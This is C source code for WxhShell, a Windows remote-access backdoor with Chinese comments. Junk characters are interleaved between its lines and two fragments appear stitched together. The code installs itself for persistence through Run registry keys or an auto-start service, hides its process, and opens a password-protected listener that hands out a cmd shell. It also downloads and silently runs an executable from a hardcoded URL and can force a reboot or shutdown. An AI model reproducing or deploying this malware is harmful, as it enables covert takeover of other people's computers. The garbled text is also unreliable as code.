So"n E{(;@PzE g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xIn:ZKJ' g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :4|4 =mkr NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I/N *gy?* k5)om;.w if (!NtQueryInformationProcess) return 0; `]aeI'[}R rm_Nn8p, hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @4#vm@Yf_ if(!hProcess) return 0; 7zc^!LrW< ^.y\(= if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iy"*5<;*DD %iB,IEw CloseHandle(hProcess); `D9$v(Ztr |W^IlqTH hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :T~ [ if(hProcess==NULL) return 0; EQ_aa@M7 h+,@G,|D HMODULE hMod; gqR(.Pu char procName[255]; Wp,R^d unsigned long cbNeeded; F'Z,]b'st3 \2z>?i) if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2AdDIVYC }m8q}~>tL CloseHandle(hProcess); uAk.@nfiEv ?7A>+EY if(strstr(procName,"services")) return 1; // 以服务启动 a q-~B~c`g GvAb`c= return 0; // 注册表启动 xz]~ jL@-] } a'T;x`b8U, dr"1s-D4IQ // 主模块 x1a:u int StartWxhshell(LPSTR lpCmdLine) fQFk+C { XPPdwTOr SOCKET wsl; '%;m?t%q BOOL val=TRUE; nt<]d\o0 int port=0; d-%hjy3N struct sockaddr_in door; EM_d8o)`B gM]:Ma if(wscfg.ws_autoins) Install(); Y-9I3?ar MK*r+xfSae port=atoi(lpCmdLine); Q{/Ef[(a@ TqQ[_RKg2 if(port<=0) port=wscfg.ws_port; Ort(AfW +7a6*;\ y WSADATA data; u?EN if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F"kAkX>3} rM SZ" if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; SX#&5Ka/ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^rz_f{c]- door.sin_family = AF_INET; C#pjmT_ door.sin_addr.s_addr = inet_addr("127.0.0.1"); /_.|E] door.sin_port = htons(port); ->jDb/a{C p4QU9DF if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s#MPX3itK closesocket(wsl); }0 ?3:A return 1; iDD$pd,e\ } 8XaQAy%d] 8CE = 4 if(listen(wsl,2) == INVALID_SOCKET) { iRBfx closesocket(wsl); GX%g9f!O return 1; u@^LW<eD } (?];VG Wxhshell(wsl); mZBo~(} WSACleanup(); ig"L\ C"T ^?|"L>y return 0; l"]V6!-U g{LP7D;6 } H*6W q R-14=|7a- // 以NT服务方式启动 d=^z`nt !R VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~Gw*r\\+ { 3XKf!P DWORD status = 0; k{0o9, DWORD specificError = 0xfffffff; ipz5 H* !~Z"9(v'C serviceStatus.dwServiceType = SERVICE_WIN32; ,//S`j$S serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8EY:tzw serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^sZ,2,^ serviceStatus.dwWin32ExitCode = 0; vD4*&|8T# serviceStatus.dwServiceSpecificExitCode = 0; 5R7DDJk serviceStatus.dwCheckPoint = 0; (5~h"s serviceStatus.dwWaitHint = 0; 1x^GWtRp D'4\*4is hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HT@=evV if (hServiceStatusHandle==0) return; #E]59_
4K74=r),i status = GetLastError(); *ui</+ if (status!=NO_ERROR) x^CS"v7 { vSh`&w^* serviceStatus.dwCurrentState = SERVICE_STOPPED; ?ubro0F: serviceStatus.dwCheckPoint = 0; 5-M-X#( serviceStatus.dwWaitHint = 0; AwN!;t_0+N serviceStatus.dwWin32ExitCode = status; !'Kjx serviceStatus.dwServiceSpecificExitCode = specificError; `mqMLo* SetServiceStatus(hServiceStatusHandle, &serviceStatus); \NC3'G:Ii return; nFn5v'g } P;*(hY5& :EyD+!LJ serviceStatus.dwCurrentState = SERVICE_RUNNING; E"0>yl) serviceStatus.dwCheckPoint = 0; >d6| ^h'0 serviceStatus.dwWaitHint = 0; mc3"`+o if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ts9uL5i } I:.s_8mH} M3AXe]<eC1 // 处理NT服务事件,比如:启动、停止 2pAW9R#UV- VOID WINAPI NTServiceHandler(DWORD fdwControl) iQ{VY
^
0 { NVs@S-rpX switch(fdwControl) vv7I_nK? { hOeRd#AQK case SERVICE_CONTROL_STOP: F!do~Z serviceStatus.dwWin32ExitCode = 0; svSVG:48 serviceStatus.dwCurrentState = SERVICE_STOPPED; n:X y6H serviceStatus.dwCheckPoint = 0; +h$
9\ serviceStatus.dwWaitHint = 0; Ep}s}Stlr} { cNH7C"@GVu SetServiceStatus(hServiceStatusHandle, &serviceStatus); _G0x3 } 54/=G(F return; DI%saw case SERVICE_CONTROL_PAUSE: r/1(]#kOX serviceStatus.dwCurrentState = SERVICE_PAUSED; [
3HfQ break; ctUp=po case SERVICE_CONTROL_CONTINUE: YzWz| serviceStatus.dwCurrentState = SERVICE_RUNNING; #Dac~>a' break; *h|U,T7ew case SERVICE_CONTROL_INTERROGATE: A=4OWV? break; /j^ }; 0`hdMLONR SetServiceStatus(hServiceStatusHandle, &serviceStatus); n*$ g]G$ } Je{ykL?N v2?ZQeHr_( // 标准应用程序主函数 Xeajxcop# int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [gB+C84%% { F\!
`/4 fZ. ONq // 获取操作系统版本 *](iS OsIsNt=GetOsVer();
l^qI,M GetModuleFileName(NULL,ExeFile,MAX_PATH); ~m |BC*) nrb Ok4Dz // 从命令行安装 M_8{]uo if(strpbrk(lpCmdLine,"iI")) Install(); {8OCXus3m M}Sv8D]I // 下载执行文件 "oD[v if(wscfg.ws_downexe) { 36NpfTW if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v:U-6W_)| WinExec(wscfg.ws_filenam,SW_HIDE); 4Up/p&1@ } }'.m*#Y 4z? l if(!OsIsNt) { ;aBG,dr}i // 如果时win9x,隐藏进程并且设置为注册表启动 C]#,+q* HideProc(); PM+[,H StartWxhshell(lpCmdLine); B3BN`mdn> } PeT'^?> else 6 r"<jh # if(StartFromService()) ise-O1' // 以服务方式启动 "fI6Cpc StartServiceCtrlDispatcher(DispatchTable); '%D7C=;^ else ,)XLq8 // 普通方式启动 JO;Uus{? StartWxhshell(lpCmdLine); "8RSvT<W^5 Fp:'M X return 0; }}[2SH'nH } ~V-XEQA :0ep(<|; +H.`MZ= ]A"h&`Cvt =========================================== ;]iRk G#CXs:1pd+ liZxBs
:%i q@&6#B J1vR5wbu 9FvFhY " g*Phv|kI '7/)Ot( #include <stdio.h> y^k$Us #include <string.h> _+,TT['57s #include <windows.h> gSgr6TH0 #include <winsock2.h> Gq6*SaTk #include <winsvc.h> <UI
[%yXj #include <urlmon.h> Si7*& dw= aYeR{Y] #pragma comment (lib, "Ws2_32.lib") JLYi]nZ #pragma comment (lib, "urlmon.lib") %RVZD#zr IcEdG( #define MAX_USER 100 // 最大客户端连接数 )7d&NE_ #define BUF_SOCK 200 // sock buffer j [a(#V{ #define KEY_BUFF 255 // 输入 buffer ZoeD:xnh[ TV:9bn?r) #define REBOOT 0 // 重启 Mhu*[a=;x #define SHUTDOWN 1 // 关机 XuTD\g3) O8o3O
6[Y #define DEF_PORT 5000 // 监听端口 2T1q?L?] (mOtU8e #define REG_LEN 16 // 注册表键长度 dveiQ #define SVC_LEN 80 // NT服务名长度 v^iAD2X/F : +u]S2u{ // 从dll定义API &L:!VL{I typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GVz6-T~\> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Zc yc*{DS typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?5p>BER? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N;R^h? ' q| 7( // wxhshell配置信息 ==B6qX8T struct WSCFG { ,_P-$lB int ws_port; // 监听端口 O2+ 6st char ws_passstr[REG_LEN]; // 口令 edD)TpmE, int ws_autoins; // 安装标记, 1=yes 0=no No$3"4wk char ws_regname[REG_LEN]; // 注册表键名 .d*8C, char ws_svcname[REG_LEN]; // 服务名 FsPw1A$y char ws_svcdisp[SVC_LEN]; // 服务显示名 :DNjhZ char ws_svcdesc[SVC_LEN]; // 服务描述信息 RNL9>7xV char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "|NI]Kv int ws_downexe; // 下载执行标记, 1=yes 0=no wq{hF< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;|RTx char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q/?$x*\> [K Qi.u }; {_}I!`opr$ 8(De^H lO // default Wxhshell configuration df=f62 struct WSCFG wscfg={DEF_PORT, ~~.}ah/_d "xuhuanlingzhe", ta0|^KAA 1, xG 1nGO "Wxhshell", fJ\[*5eiS "Wxhshell", [;N'=]` "WxhShell Service", NlqImM=r, "Wrsky Windows CmdShell Service", >~f]_puT "Please Input Your Password: ", l}h!B_P' 1, N mG# "http://www.wrsky.com/wxhshell.exe", QPx^_jA "Wxhshell.exe" ^Pf WG* }; m~|40) ;"I^ZFYX // 消息定义模块 cK@wsA^4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <v2;p}A char *msg_ws_prompt="\n\r? for help\n\r#>"; )+^+sd char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~Ei<Z`3}7" char *msg_ws_ext="\n\rExit."; + 3gp%`c4 char *msg_ws_end="\n\rQuit."; =wJX0A| char *msg_ws_boot="\n\rReboot..."; @WhHUd4s char *msg_ws_poff="\n\rShutdown..."; =M1I> char *msg_ws_down="\n\rSave to "; !Cs_F&l"j qK+5NF| char *msg_ws_err="\n\rErr!"; Sdo-nt char *msg_ws_ok="\n\rOK!"; UG^q9 :t l{9Y char ExeFile[MAX_PATH]; Wqnc{oq|$ int nUser = 0; x;S @bY HANDLE handles[MAX_USER]; PnTu int OsIsNt; +q4O D$} [^)g%|W SERVICE_STATUS serviceStatus; OI*H,Z" SERVICE_STATUS_HANDLE hServiceStatusHandle;
G*m0\ y-k.U% // 函数声明 [0of1eCSl int Install(void); v19-./H^
j int Uninstall(void); 4*L_)z&4; int DownloadFile(char *sURL, SOCKET wsh); @~e5<:|5# int Boot(int flag); -=="<0c void HideProc(void); #E?4E1bnB int GetOsVer(void); J,hCvm int Wxhshell(SOCKET wsl); mw!F{pw void TalkWithClient(void *cs); '91/md5 int CmdShell(SOCKET sock); `uFdwO'DD int StartFromService(void); {ax:RUQxy int StartWxhshell(LPSTR lpCmdLine); /z!%d%" oDR%\VY6T VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \bF{-" 7. VOID WINAPI NTServiceHandler( DWORD fdwControl ); H|*m$|$, [
3Gf2_ // 数据结构和表定义 7_L;E~\ SERVICE_TABLE_ENTRY DispatchTable[] = RN1_S { ig!+2g {wscfg.ws_svcname, NTServiceMain}, _#niyW+?~ {NULL, NULL} do%&m]#; }; IPk4
;, .H|-_~Yx| // 自我安装 $`c:& int Install(void) j.Hf/vi`z { +0&/g&a\R char svExeFile[MAX_PATH]; osRy e3 HKEY key; 2T35{Q!=F strcpy(svExeFile,ExeFile); p ?!/+ . vV|hSc // 如果是win9x系统,修改注册表设为自启动 |=w@H]r if(!OsIsNt) { y `UaB3q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =&]L00u. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^ c<Ve'- RegCloseKey(key); Wri<h:1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bsX[UF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 53D]3 RegCloseKey(key); .]u/O`c] return 0; ZH8,KY" } ?}0 ,o. } |N2#ItBbW } Za9qjBH
else { t!XwW$@ vt8By@]: // 如果是NT以上系统,安装为系统服务 ]`K2N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vgPCQO([ if (schSCManager!=0) sT)CxOV { JI}'dU>*U: SC_HANDLE schService = CreateService 3$ pX ( NOva'qk schSCManager, /7kC< wscfg.ws_svcname, UVP vOtZj wscfg.ws_svcdisp, UfGkTwoo= SERVICE_ALL_ACCESS, 29KiuP SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fex@,I&
SERVICE_AUTO_START, [~HN<>L@C SERVICE_ERROR_NORMAL, W4S,6( svExeFile, <YY 14p NULL, u_enqC3 NULL, b;n[mk
NULL, nUO0Ce NULL, T[gv0|+ NULL ]DcFySyv ); HtFDlvdy] if (schService!=0) $Yq9P0Ya { zfU{Kd CloseServiceHandle(schService); U/U);frH CloseServiceHandle(schSCManager); icgfB-1|i strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l**X^+=$ strcat(svExeFile,wscfg.ws_svcname); dH!*!r> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U6K|fYN` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \D4:Nt# RegCloseKey(key); CTb%(<r return 0; ]G\}k } AH^/V}9H } s AkdMo CloseServiceHandle(schSCManager); r@V!,k#S } rp$'L7lrX } @C$]//; )GpK@R]{ return 1; d=(mw_-? } LoV<:|GTI jp,4h4C^) // 自我卸载 ]Um/FA W int Uninstall(void) jd:6:Fm { R&&4y 7 HKEY key; A^g(k5M* Nb\4 /;# if(!OsIsNt) { &~CI<\o P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
];m_4 RegDeleteValue(key,wscfg.ws_regname); LV Ge]lD RegCloseKey(key); Xvu(vA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vP&(-a RegDeleteValue(key,wscfg.ws_regname); !0+JbZ<%r| RegCloseKey(key); 1M 6D3d_ return 0; a(nlTMfu } dd;~K&_Q/i } W1~0_; } zCZf%ATq else { 4RO}<$Nx} 4s-!7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e
,(mR+a8 if (schSCManager!=0) sC'`~}C { G{}VPcrbC SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @JMiO^ if (schService!=0) fhiM U8(& { $4LzcwG if(DeleteService(schService)!=0) { {)XTk&" CloseServiceHandle(schService); 79gT+~z CloseServiceHandle(schSCManager); N8jIMb'< return 0; <~)P7~$d?p } k[xSbs'D CloseServiceHandle(schService); HPl<%%TI } pBHRa?Y5 CloseServiceHandle(schSCManager); x5Bk/e' } 3og.y+.=U. } _6Sp QW B\~}3!j return 1; oJ^P(] dw } Z.,MVcd oA
1yIp // 从指定url下载文件 y[;>#j$ int DownloadFile(char *sURL, SOCKET wsh) l?e.9o2- { WWY6ha HRESULT hr; yWK)vju" char seps[]= "/"; A.SvA Yn char *token; ?,z}%p char *file; $Sq:q0 char myURL[MAX_PATH]; )lkjqFQ( char myFILE[MAX_PATH]; IGl9g_18 M`_0C38
strcpy(myURL,sURL); J.a]K[ci token=strtok(myURL,seps); BmT! aue while(token!=NULL) i!Ba]n
{ Gc?a +T file=token; _BufO7`. token=strtok(NULL,seps); K(4_a``05 } 5BIY<B+i U^PgG|0N GetCurrentDirectory(MAX_PATH,myFILE); dtDFoETz strcat(myFILE, "\\"); /ZX}Nc g strcat(myFILE, file); '1[Ft03 send(wsh,myFILE,strlen(myFILE),0); cAw/I@jG send(wsh,"...",3,0); =;L|gtH" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4W75T2q# if(hr==S_OK) 2?C)& return 0; j 7B!h| else )%TmAaj9d return 1; F ,kZU$ F59 TZI } KNl$3nX inL(X;@yo // 系统电源模块 W?&%x(6M int Boot(int flag) tQVVhXQ7 { @7}W=HB HANDLE hToken; >P(.:_^p TOKEN_PRIVILEGES tkp; Xw1*(ffk *~`(RV if(OsIsNt) { h[ ZN+M OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kJU2C=m@e2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jXJyc'm7 tkp.PrivilegeCount = 1; 6BlXLQ,8q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JF]JOI6.e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sOY:e/_F if(flag==REBOOT) { A/(a`"mK|' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _c07}aQ ], return 0; (FV >m } (7Qo else { hH.G#-JO if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~*7]r`6\@ return 0; GgU/!@ } g(g& TO } [g,}gyeS( else { \V:^h[ad if(flag==REBOOT) { z?zL9 7H if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >_}
I.\X return 0; !D6]JPX } qs6aB0ln else { 3|7QUld if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %<5'=t'|-U return 0; 4i bc } xw%0>K[ } 7)m9"InDI y`Fw-!'o return 1; !>tL6+yj } d9ihhqq3} Bvj0^fSm // win9x进程隐藏模块 #ob/p#k void HideProc(void) G}*hM$F { )u">it+ *hrd5na HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V&i;\ 9 if ( hKernel != NULL ) sLFl!jX { Xj*Wu_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hZ3bVi)L\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E`q_bn FreeLibrary(hKernel); 1M-pr 8:6s } ,Q B<7a+I G3]4A&h9v~ return; E7hhew } rNM;ZPF# ?%86/N> // 获取操作系统版本 w!CNRtM:~ int GetOsVer(void) 6zkaOA46V { B!yr!DWv OSVERSIONINFO winfo; dx]>(e@(t{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /?!u{(h } GetVersionEx(&winfo); !k%#R4*> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q4q6c")zp return 1; ex|F|0k4} else @x1-!
~z# return 0; PH"%kCI: } $(
)>g>% ?"FbsMk.d // 客户端句柄模块 V :eD]zq5 int Wxhshell(SOCKET wsl) =43auFY-P { @o^Ww SOCKET wsh; ;jPXs struct sockaddr_in client; <VcQ{F DWORD myID; MDN--p08 4 :=]<sc, while(nUser<MAX_USER) DlT{` { 2:R+tn(F int nSize=sizeof(client); $(9U @N9E wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v<;Md-< if(wsh==INVALID_SOCKET) return 1; .543N<w 'S~5"6r handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~
1 pr~ if(handles[nUser]==0) S'14hk< closesocket(wsh); Qd6F H2Pl else edV\-H5< nUser++; +V+a4lU14 } /=h` L, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zQA`/&=Y H"KCK6 return 0;
5IN(|B0 } F?cK-. }Lv;! // 关闭 socket 2tLJU Z1 void CloseIt(SOCKET wsh) n(Uyz`qE { :4s1CC+@\ closesocket(wsh); _U0f=m nUser--; R3!t$5HG ExitThread(0); HThcn1u~^b } J;%Xfx] q=G+Tocv // 客户端请求句柄 G`zm@QL void TalkWithClient(void *cs) .2pK.$. { 2%>FR4a $"&JWT!# SOCKET wsh=(SOCKET)cs; {)"vN(mX char pwd[SVC_LEN]; xpI wrJO char cmd[KEY_BUFF]; P$sxr char chr[1]; {T8Kk)L int i,j; m68*y;# V:27)]q while (nUser < MAX_USER) { S$k&vc(0 Wf<LR3 if(wscfg.ws_passstr) { !+ njS if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DN/YHSYK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h$=2 p5'- //ZeroMemory(pwd,KEY_BUFF); 8[>zG2 i=0; W`&hp6Jq while(i<SVC_LEN) { L(o15 e*!kZAf // 设置超时 V,9cl,z+ fd_set FdRead; 3[&C g struct timeval TimeOut; .G^YqJ 4 FD_ZERO(&FdRead); h1{3njdr FD_SET(wsh,&FdRead); ~v83pu1!2s TimeOut.tv_sec=8; 5?L<N:;J_ TimeOut.tv_usec=0; KU;9}!# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d1kJRJ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iCyfOh _rYkis^u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |%v^W 3 pwd=chr[0]; 6r_)sHf if(chr[0]==0xd || chr[0]==0xa) { mqJ_W[y7 pwd=0; !-Y3V" break; Ve=b16H } %bfZn9_m i++; 'n|5ZhXPB } 6^Sa; XlJZhc // 如果是非法用户,关闭 socket vFsLY if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MfQ!6zE } c(%|: P^ oE~Bq/p send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fT{Yg /j send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m4g$N) L-\GHu~) while(1) { go"Hf_ l(q ,<[O ZeroMemory(cmd,KEY_BUFF); s@DLt+ O5 ?rIx/>C9 // 自动支持客户端 telnet标准 fX+O[j j=0; 5Ph4<f` L~ while(j<KEY_BUFF) { N[yy M'C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &=Wlaa/,& cmd[j]=chr[0]; KdlQ!5(?X if(chr[0]==0xa || chr[0]==0xd) { LDD|(KLR*. cmd[j]=0; UDni]P!E break; >*n0n!vF } 1QJL . j++; BUR*n;V` } QIgNsz _[y/Y\{I // 下载文件 '7@R7w!E4H if(strstr(cmd,"http://")) { )Wox Mmz send(wsh,msg_ws_down,strlen(msg_ws_down),0); %[yJ4WL if(DownloadFile(cmd,wsh)) 9S -9.mvop send(wsh,msg_ws_err,strlen(msg_ws_err),0); f9\X>zzB2| else JZ#[
2mLh send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &M'*6A } P2*<GjV`S/ else { u4_9)P`]0 WT}H>T switch(cmd[0]) { H4JTGt1" L^Fy#p // 帮助 (M
~e?s case '?': { ,1##p77. send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,iq4Iw break; #V}IvQl| } p^u:&Quac // 安装 4g7)i L^#~ case 'i': { O#u=c1
?: if(Install()) ,u
g@f-T send(wsh,msg_ws_err,strlen(msg_ws_err),0); AFfAtu else n}77##+R&C send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2dzrRH break; A= {UL } p6WX9\qS( // 卸载 6i*sm.SDw case 'r': { D )'bH5 if(Uninstall()) TW>WHCAm send(wsh,msg_ws_err,strlen(msg_ws_err),0); -
CWywuD else y|q3Wa send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nJLFfXWx break; KK%M~Y+tU' } TBrPf-Xr // 显示 wxhshell 所在路径 +t:0SRSt case 'p': { (@}!0[[^ char svExeFile[MAX_PATH]; {91nL'-' strcpy(svExeFile,"\n\r"); kE(mVyLQ strcat(svExeFile,ExeFile); Pco'l#: send(wsh,svExeFile,strlen(svExeFile),0); v 6Vcjm break; lu6(C } $lut[o74 // 重启 T"}vAG( .O case 'b': { ^<-+@v* send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z*2Vpnqh\ if(Boot(REBOOT)) TvQo? send(wsh,msg_ws_err,strlen(msg_ws_err),0); AnvRxb.e else { ff1c/c/ closesocket(wsh); !#"zTj ExitThread(0); PAOJ\U } 50C break; .K<Q& } "2T#MO/ // 关机 bnLPlf case 'd': { .eP.& send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )@'}\_a3[] if(Boot(SHUTDOWN)) C=4Qlt[` send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,<p}o\6 else { u4|$bbig closesocket(wsh); y<bDTeoo ExitThread(0); A$xF$l } (/*]?Ehd break; d$AWu{y } *C=>X193U // 获取shell KFkoS0M5| case 's': { K>l~SDcZ3 CmdShell(wsh); 1|6%evPu( closesocket(wsh); CoAvSw ExitThread(0); ;?g6QIN9 break; ^Zy%fv, } yN
s,Ll~ // 退出 Vr1<^Ib case 'x': { e2W".+B1 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^4Ah_U CloseIt(wsh); 9Ly]DZ;L break; qH 6>!=00 } L4|`;WP // 离开 Z@@K[$ case 'q': { '1)$' send(wsh,msg_ws_end,strlen(msg_ws_end),0); Eue~Y+K*b closesocket(wsh);
}sO&. ME WSACleanup(); \K]0JH exit(1); FzXJ]H break; eSmLf*\G } fG w9! } R=
o2K } 1"M]3Kl :e%Pvk // 提示信息 1!T1Y,w if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =-lb)Z"d } u21EP[[, } P0PWJ^+,+ f/Bp.YwL return; t=O8f5Pf{ } KC#q@InK
2WVka // shell模块句柄 cFnDmtI: int CmdShell(SOCKET sock) l.bYE/F0& { 'B0{_RaTb STARTUPINFO si; Gvqxi| ZeroMemory(&si,sizeof(si)); T+K):ug si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P{+T<bk| si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8j\cL' PROCESS_INFORMATION ProcessInfo; \:ak '' char cmdline[]="cmd"; :#?5X|Gz CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -rli(RR)| return 0; SHo$9+ } q Xe8Kto I\JGs@I // 自身启动模式 s '\Uap int StartFromService(void) -f>%+< |